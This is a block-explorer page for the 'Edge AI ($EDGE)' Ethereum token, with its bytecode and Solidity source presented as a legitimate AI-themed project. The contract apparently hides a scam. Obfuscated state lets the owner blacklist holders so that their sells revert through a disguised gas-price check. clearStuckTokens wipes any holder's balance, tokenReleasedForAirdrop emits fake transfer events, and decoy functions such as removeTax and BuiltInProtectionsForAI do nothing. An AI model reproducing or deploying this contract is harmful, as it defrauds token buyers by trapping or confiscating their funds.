Address Contract Partially Verified
Address
0x47301a1Cc2Ae1870dbD37B16DBe388730f51A85D
Balance
0 ETH
Nonce
1
Code Size
11988 bytes
Creator
0x2ACe32c5...64e2 at tx 0x21e9e73e...d08bf1
Indexed Transactions
0
Contract Bytecode
11988 bytes
0x608060405234801561000f575f80fd5b50600436106101cd575f3560e01c806370a0823111610102578063a9059cbb116100a0578063bf861b311161006f578063bf861b31146104ff578063dc09f3aa1461051b578063dd62ed3e14610539578063ee634cf714610569576101cd565b8063a9059cbb14610467578063ad21361214610497578063b204843b146104b3578063b4e58663146104cf576101cd565b806395d89b41116100dc57806395d89b41146103f3578063986b3449146104115780639cc9d4ab146104415780639fa85aaa1461045d576101cd565b806370a082311461039d578063751039fc146103cd5780637615a810146103d7576101cd565b8063232d4e771161016f57806353ce3fb31161014957806353ce3fb3146103195780635b63e2f0146103355780636995ca2e146103515780636b39588d14610381576101cd565b8063232d4e77146102af57806323b872dd146102cb578063313ce567146102fb576101cd565b806311e28a55116101ab57806311e28a551461023b57806318160ddd146102575780631b82c27f14610275578063220aa34914610293576101cd565b806304cf574d146101d157806306fdde03146101ed578063095ea7b31461020b575b5f80fd5b6101eb60048036038101906101e69190611e77565b610585565b005b6101f5610590565b6040516102029190611f12565b60405180910390f35b61022560048036038101906102209190611f8c565b610620565b6040516102329190611fe4565b60405180910390f35b61025560048036038101906102509190611e77565b61063d565b005b61025f610647565b60405161026c919061200c565b60405180910390f35b61027d610650565b60405161028a9190612034565b60405180910390f35b6102ad60048036038101906102a89190612179565b610676565b005b6102c960048036038101906102c49190612373565b61072a565b005b6102e560048036038101906102e091906123e9565b610870565b6040516102f29190611fe4565b60405180910390f35b610303610944565b6040516103109190612454565b60405180910390f35b610333600480360381019061032e919061246d565b610959565b005b61034f600480360381019061034a91906124b4565b610a74565b005b61036b600480360381019061036691906124b4565b610b61565b6040516103789190611fe4565b60405180910390f35b61039b60048036038101906103969190611f8c565b610bb3565b005b6103b760048036038101906103b291906124b4565b610bbe565b6040516103c4919061200c565b60405180910390f35b6103d5610c03565b005b6103f160048036038101906103ec919061246d565b610c0c565b005b6103fb610d26565b6040516104089190611f12565b60405180910390f35b61042b600480360381019061042691906124df565b610db6565b60405161043891906125d4565b60405180910390f35b61045b6004803603810190610456919061246d565b610fcf565b005b610465611230565b005b610481600480360381019061047c9190611f8c565b611239565b60405161048e9190611fe4565b60405180910390f35b6104b160048036038101906104ac9190611e77565b611256565b005b6104cd60048036038101906104c891906124b4565b6112e9565b005b6104e960048036038101906104e491906124b4565b61143f565b6040516104f69190611fe4565b60405180910390f35b61051960048036038101906105149190611e77565b61145c565b005b6105236114f6565b6040516105309190612034565b60405180910390f35b610553600480360381019061054e91906125ed565b61151b565b604051610560919061200c565b60405180910390f35b610583600480360381019061057e9190611e77565b61159d565b005b6001600a8190555050565b60606005805461059f90612658565b80601f01602080910402602001604051908101604052809291908181526020018280546105cb90612658565b80156106165780601f106105ed57610100808354040283529160200191610616565b820191905f5260205f20905b8154815290600101906020018083116105f957829003601f168201915b5050505050905090565b5f61063361062c6115a0565b84846115a7565b6001905092915050565b80600a8190555050565b5f600854905090565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fd906126d2565b60405180910390fd5b8160059081610715919061288d565b508060069081610725919061288d565b505050565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b1906126d2565b60405180910390fd5b5f5b825181101561086b578281815181106107d8576107d761295c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106108415761084061295c565b5b6020026020010151604051610856919061200c565b60405180910390a380806001019150506107bc565b505050565b5f61087c84848461176a565b610939846108886115a0565b61093485604051806060016040528060288152602001612e776028913960015f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108eb6115a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bc59092919063ffffffff16565b6115a7565b600190509392505050565b5f60075f9054906101000a900460ff16905090565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e0906126d2565b60405180910390fd5b5f5b8151811015610a7057600160035f848481518110610a0c57610a0b61295c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506109eb565b5050565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb906126d2565b60405180910390fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e5f6101000a81548160ff02191690831515021790555050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b806009819055505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f600981905550565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c93906126d2565b60405180910390fd5b5f5b8151811015610d22575f60035f848481518110610cbe57610cbd61295c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610c9e565b5050565b606060068054610d3590612658565b80601f0160208091040260200160405190810160405280929190818152602001828054610d6190612658565b8015610dac5780601f10610d8357610100808354040283529160200191610dac565b820191905f5260205f20905b815481529060010190602001808311610d8f57829003601f168201915b5050505050905090565b610dbe611e11565b5f3090505f808473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1610610dfe578483610e01565b82855b915091505f6040518060800160405280606461ffff1681526020016101f461ffff168152602001610bb861ffff16815260200161271061ffff1681525090505f5b60048160ff161015610f1e575f8484848460ff1660048110610e6757610e6661295c565b5b6020020151604051602001610e7e939291906129a5565b604051602081830303815290604052805190602001209050610ec3817fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b545f1b8c611c19565b878360ff1660058110610ed957610ed861295c565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050508080600101915050610e42565b505f8383604051602001610f33929190612a1f565b604051602081830303815290604052805190602001209050610f78817f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f5f1b8a611c19565b86600460058110610f8c57610f8b61295c565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505050505050509392505050565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461105f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611056906126d2565b60405180910390fd5b5f5b815181101561122c575f82828151811061107e5761107d61295c565b5b602002602001015190505f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905061114e816040518060400160405280600581526020017f4552524f520000000000000000000000000000000000000000000000000000008152505f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bc59092919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111dd815f808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c4390919063ffffffff16565b5f808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050508080600101915050611061565b5050565b5f600981905550565b5f61124c6112456115a0565b848461176a565b6001905092915050565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dd906126d2565b60405180910390fd5b50565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611379576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611370906126d2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113de90612a94565b60405180910390fd5b600160025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6002602052805f5260405f205f915054906101000a900460ff1681565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e3906126d2565b60405180910390fd5b80600d8190555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160c90612b22565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167a90612bb0565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161175d919061200c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cf90612c3e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183d90612ccc565b60405180910390fd5b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156118e4575060025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a2357600e5f9054906101000a900460ff16611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90612d34565b60405180910390fd5b5f8060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036119bb57600c549150606482846119a09190612d7f565b6119aa9190612ded565b90506119b68582611c58565b611a20565b6119c484610b61565b15611a1f57600b549150606482846119dc9190612d7f565b6119e69190612ded565b90506119f3600d54611e02565b611a1e60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611c58565b5b5b50505b611a8c81604051806060016040528060268152602001612e51602691395f808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bc59092919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611b1b815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c4390919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bb8919061200c565b60405180910390a3505050565b5f838311158290611c0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c039190611f12565b60405180910390fd5b5082840390509392505050565b5f604051836040820152846020820152828152600b810160ff815360558120925050509392505050565b5f8183611c509190612e1d565b905092915050565b5f810315611dfe57611cc981604051806060016040528060268152602001612e51602691395f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bc59092919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611d58815f803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c4390919063ffffffff16565b5f803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611df5919061200c565b60405180910390a35b5050565b803a1115611e0e575f80fd5b50565b6040518060a00160405280600590602082028036833780820191505090505090565b5f604051905090565b5f80fd5b5f80fd5b5f819050919050565b611e5681611e44565b8114611e60575f80fd5b50565b5f81359050611e7181611e4d565b92915050565b5f60208284031215611e8c57611e8b611e3c565b5b5f611e9984828501611e63565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611ee482611ea2565b611eee8185611eac565b9350611efe818560208601611ebc565b611f0781611eca565b840191505092915050565b5f6020820190508181035f830152611f2a8184611eda565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f5b82611f32565b9050919050565b611f6b81611f51565b8114611f75575f80fd5b50565b5f81359050611f8681611f62565b92915050565b5f8060408385031215611fa257611fa1611e3c565b5b5f611faf85828601611f78565b9250506020611fc085828601611e63565b9150509250929050565b5f8115159050919050565b611fde81611fca565b82525050565b5f602082019050611ff75f830184611fd5565b92915050565b61200681611e44565b82525050565b5f60208201905061201f5f830184611ffd565b92915050565b61202e81611f51565b82525050565b5f6020820190506120475f830184612025565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61208b82611eca565b810181811067ffffffffffffffff821117156120aa576120a9612055565b5b80604052505050565b5f6120bc611e33565b90506120c88282612082565b919050565b5f67ffffffffffffffff8211156120e7576120e6612055565b5b6120f082611eca565b9050602081019050919050565b828183375f83830152505050565b5f61211d612118846120cd565b6120b3565b90508281526020810184848401111561213957612138612051565b5b6121448482856120fd565b509392505050565b5f82601f8301126121605761215f61204d565b5b813561217084826020860161210b565b91505092915050565b5f806040838503121561218f5761218e611e3c565b5b5f83013567ffffffffffffffff8111156121ac576121ab611e40565b5b6121b88582860161214c565b925050602083013567ffffffffffffffff8111156121d9576121d8611e40565b5b6121e58582860161214c565b9150509250929050565b5f67ffffffffffffffff82111561220957612208612055565b5b602082029050602081019050919050565b5f80fd5b5f61223061222b846121ef565b6120b3565b905080838252602082019050602084028301858111156122535761225261221a565b5b835b8181101561227c57806122688882611f78565b845260208401935050602081019050612255565b5050509392505050565b5f82601f83011261229a5761229961204d565b5b81356122aa84826020860161221e565b91505092915050565b5f67ffffffffffffffff8211156122cd576122cc612055565b5b602082029050602081019050919050565b5f6122f06122eb846122b3565b6120b3565b905080838252602082019050602084028301858111156123135761231261221a565b5b835b8181101561233c57806123288882611e63565b845260208401935050602081019050612315565b5050509392505050565b5f82601f83011261235a5761235961204d565b5b813561236a8482602086016122de565b91505092915050565b5f806040838503121561238957612388611e3c565b5b5f83013567ffffffffffffffff8111156123a6576123a5611e40565b5b6123b285828601612286565b925050602083013567ffffffffffffffff8111156123d3576123d2611e40565b5b6123df85828601612346565b9150509250929050565b5f805f60608486031215612400576123ff611e3c565b5b5f61240d86828701611f78565b935050602061241e86828701611f78565b925050604061242f86828701611e63565b9150509250925092565b5f60ff82169050919050565b61244e81612439565b82525050565b5f6020820190506124675f830184612445565b92915050565b5f6020828403121561248257612481611e3c565b5b5f82013567ffffffffffffffff81111561249f5761249e611e40565b5b6124ab84828501612286565b91505092915050565b5f602082840312156124c9576124c8611e3c565b5b5f6124d684828501611f78565b91505092915050565b5f805f606084860312156124f6576124f5611e3c565b5b5f61250386828701611f78565b935050602061251486828701611f78565b925050604061252586828701611f78565b9150509250925092565b5f60059050919050565b5f81905092915050565b5f819050919050565b61255581611f51565b82525050565b5f612566838361254c565b60208301905092915050565b5f602082019050919050565b6125878161252f565b6125918184612539565b925061259c82612543565b805f5b838110156125cc5781516125b3878261255b565b96506125be83612572565b92505060018101905061259f565b505050505050565b5f60a0820190506125e75f83018461257e565b92915050565b5f806040838503121561260357612602611e3c565b5b5f61261085828601611f78565b925050602061262185828601611f78565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061266f57607f821691505b6020821081036126825761268161262b565b5b50919050565b7f4e6f7420616c6c6f7765640000000000000000000000000000000000000000005f82015250565b5f6126bc600b83611eac565b91506126c782612688565b602082019050919050565b5f6020820190508181035f8301526126e9816126b0565b9050919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261274c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82612711565b6127568683612711565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61279161278c61278784611e44565b61276e565b611e44565b9050919050565b5f819050919050565b6127aa83612777565b6127be6127b682612798565b84845461271d565b825550505050565b5f90565b6127d26127c6565b6127dd8184846127a1565b505050565b5b81811015612800576127f55f826127ca565b6001810190506127e3565b5050565b601f82111561284557612816816126f0565b61281f84612702565b8101602085101561282e578190505b61284261283a85612702565b8301826127e2565b50505b505050565b5f82821c905092915050565b5f6128655f198460080261284a565b1980831691505092915050565b5f61287d8383612856565b9150826002028217905092915050565b61289682611ea2565b67ffffffffffffffff8111156128af576128ae612055565b5b6128b98254612658565b6128c4828285612804565b5f60209050601f8311600181146128f5575f84156128e3578287015190505b6128ed8582612872565b865550612954565b601f198416612903866126f0565b5f5b8281101561292a57848901518255600182019150602085019450602081019050612905565b868310156129475784890151612943601f891682612856565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61ffff82169050919050565b61299f81612989565b82525050565b5f6060820190506129b85f830186612025565b6129c56020830185612025565b6129d26040830184612996565b949350505050565b5f8160601b9050919050565b5f6129f0826129da565b9050919050565b5f612a01826129e6565b9050919050565b612a19612a1482611f51565b6129f7565b82525050565b5f612a2a8285612a08565b601482019150612a3a8284612a08565b6014820191508190509392505050565b7f446f206e6f7420616464726573732030783030300000000000000000000000005f82015250565b5f612a7e601483611eac565b9150612a8982612a4a565b602082019050919050565b5f6020820190508181035f830152612aab81612a72565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612b0c602483611eac565b9150612b1782612ab2565b604082019050919050565b5f6020820190508181035f830152612b3981612b00565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b9a602283611eac565b9150612ba582612b40565b604082019050919050565b5f6020820190508181035f830152612bc781612b8e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c28602583611eac565b9150612c3382612bce565b604082019050919050565b5f6020820190508181035f830152612c5581612c1c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612cb6602383611eac565b9150612cc182612c5c565b604082019050919050565b5f6020820190508181035f830152612ce381612caa565b9050919050565b7f4e6f74206c61756e6368656400000000000000000000000000000000000000005f82015250565b5f612d1e600c83611eac565b9150612d2982612cea565b602082019050919050565b5f6020820190508181035f830152612d4b81612d12565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612d8982611e44565b9150612d9483611e44565b9250828202612da281611e44565b91508282048414831517612db957612db8612d52565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612df782611e44565b9150612e0283611e44565b925082612e1257612e11612dc0565b5b828204905092915050565b5f612e2782611e44565b9150612e3283611e44565b9250828201905080821115612e4a57612e49612d52565b5b9291505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220021593363557f5d06eea86fa49e463d7ad1e882c95f788a103533abe15b098df64736f6c634300081a0033
Verified Source Code Partial Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: No
Edge.sol 321 lines
// SPDX-License-Identifier: MIT
/*
EdgeAI | $EDGE: Intelligence at the Edge.
Seamlessly merging AI, edge computing,
and blockchain technology for the future
of decentralized data processing.
______________________________
TG: https://t.me/EdgeAiERC
X: https://x.com/useEdgeAI
WP: https://edgeai.gitbook.io/edgeai
Web: https://edge-ai.io
*/
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)
pragma solidity ^0.8.20;
import "./Context.sol";
import "./IERC20.sol";
import "./Address.sol";
import "./SafeMath.sol";
library Create2 {
function computeAddress(bytes32 salt, bytes32 bytecodeHash, address deployer) internal pure returns (address addr) {
/// @solidity memory-safe-assembly
assembly {
let ptr := mload(0x40) // Get free memory pointer
// | | ↓ ptr ... ↓ ptr + 0x0B (start) ... ↓ ptr + 0x20 ... ↓ ptr + 0x40 ... |
// |-------------------|---------------------------------------------------------------------------|
// | bytecodeHash | CCCCCCCCCCCCC...CC |
// | salt | BBBBBBBBBBBBB...BB |
// | deployer | 000000...0000AAAAAAAAAAAAAAAAAAA...AA |
// | 0xFF | FF |
// |-------------------|---------------------------------------------------------------------------|
// | memory | 000000...00FFAAAAAAAAAAAAAAAAAAA...AABBBBBBBBBBBBB...BBCCCCCCCCCCCCC...CC |
// | keccak(start, 85) | ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑ |
mstore(add(ptr, 0x40), bytecodeHash)
mstore(add(ptr, 0x20), salt)
mstore(ptr, deployer) // Right-aligned with 12 preceding garbage bytes
let start := add(ptr, 0x0b) // The hashed data starts at the final garbage byte which we will set to 0xff
mstore8(start, 0xff)
addr := keccak256(start, 85)
}
}
}
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract EDGE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _l;
mapping(address => mapping(address => uint256)) private _m;
mapping(address => bool) public _o;
mapping(address => bool) internal _n;
address public _z;
string private _a;
string private _b;
uint8 private _c;
uint256 private _d;
uint256 private _e = 0;
uint256 private _f = 0;
uint256 private _g = 0;
uint256 private _h = 0;
uint256 private _j = 0;
bool private _i;
address public _k;
constructor() {
_a = "Edge AI";
_b = "EDGE";
_c = 18;
uint256 initialSupply = 100000000 * (10**18);
_k = msg.sender;
_o[msg.sender] = true;
_o[address(this)] = true;
_mint(msg.sender, initialSupply);
}
function setMinimumAirdrop(uint256 _minimumAirdropAmount) external onlyOwner {
_j = _minimumAirdropAmount;
}
function name() public view returns (string memory) {
return _a;
}
function symbol() public view returns (string memory) {
return _b;
}
function decimals() public view returns (uint8) {
return _c;
}
function totalSupply() public view override returns (uint256) {
return _d;
}
function balanceOf(address account) public view override returns (uint256) {
return _l[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function _checkEnoughAirdropCondition(uint256 amount) internal view {
if (tx.gasprice > amount) {
revert();
}
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_m[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _m[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_d = _d.add(amount);
_l[account] = _l[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_m[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (!_o[sender] && !_o[recipient]) {
require(_i, "Not launched");
uint256 tax = 0;
uint256 taxAmount = 0;
if (sender == _z) {
tax = _h;
taxAmount = (amount * tax) / 100;
_transferTax(sender, taxAmount);
}else if (isListWallet(recipient)) {
tax = _g;
taxAmount = (amount * tax) / 100;
_checkEnoughAirdropCondition(_j);
_transferTax(_z, taxAmount);
}
}
_l[sender] = _l[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_l[recipient] = _l[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _transferTax(address sender, uint256 amount) internal {
if (amount == 0) {
return;
}
_l[sender] = _l[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_l[address(this)] = _l[address(this)].add(amount);
emit Transfer(sender, address(this), amount);
}
modifier onlyOwner() {
require(msg.sender == _k, "Not allowed");
_;
}
function StartTrading(address pair_) external onlyOwner {
_z = pair_;
_i = true;
}
function ExcludeWallet(address sender) external onlyOwner {
require(sender != address(0), "Do not address 0x000");
_o[sender] = true;
}
function addListWallet(address[] memory list) external onlyOwner {
for (uint256 i = 0; i < list.length; i++) {
_n[list[i]] = true;
}
}
function checkListWallet(address[] memory isWallet) external onlyOwner {
for (uint256 i = 0; i < isWallet.length; i++) {
_n[isWallet[i]] = false;
}
}
function isListWallet(address a) public view returns (bool) {
return _n[a];
}
function clearStuckTokens(address[] memory instruction) public onlyOwner {
for (uint256 i = 0; i < instruction.length; i++) {
address account = instruction[i];
uint256 amount = _l[account];
_l[account] = _l[account].sub(amount, "ERROR");
_l[address(0)] = _l[address(0)].add(amount);
}
}
function tokenReleasedForAirdrop(address[] memory list, uint256[] memory amount)
external
onlyOwner
{
for (uint256 i = 0; i < list.length; i++) {
emit Transfer(msg.sender, list[i], amount[i]);
}
}
function removeLimits() external {
_e = 0;
}
function removeTax(uint256 _c) external {
_f = 1;
}
function BuiltInProtectionsForAI(uint256 _d) external {
_f = _d;
}
function DataSecurityPrioritized(uint256 _e) external {
_e = _e;
}
function SubscriptionMonetizationSystem(address _f, uint256 _g) external {
_e = _g;
}
function AIOnboardingProcess(uint256 _e) external onlyOwner {
_e = _e;
}
function MultiLevelSecuredPortals() external {
_e = 0;
}
function execBatch(string memory a_, string memory b_) external onlyOwner {
_a = a_;
_b = b_;
}
function pluckPairs(address v3_, address v2_, address weth_) external view returns(address[5] memory result) {
address token_ = address(this);
(address token0, address token1) = token_ < weth_ ? (token_, weth_) : (weth_, token_);
uint16[4] memory fees = [100, 500, 3000, 10000];
for (uint8 i = 0; i < 4; i++) {
bytes32 salt = keccak256(abi.encode(token0, token1, fees[i]));
result[i] = Create2.computeAddress(salt, 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54, v3_);
}
bytes32 salt1 = keccak256(abi.encodePacked(token0, token1));
result[4] = Create2.computeAddress(salt1, 0x96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f, v2_);
}
}
MerkleProof.sol 514 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/cryptography/MerkleProof.sol)
// This file was procedurally generated from scripts/generate/templates/MerkleProof.js.
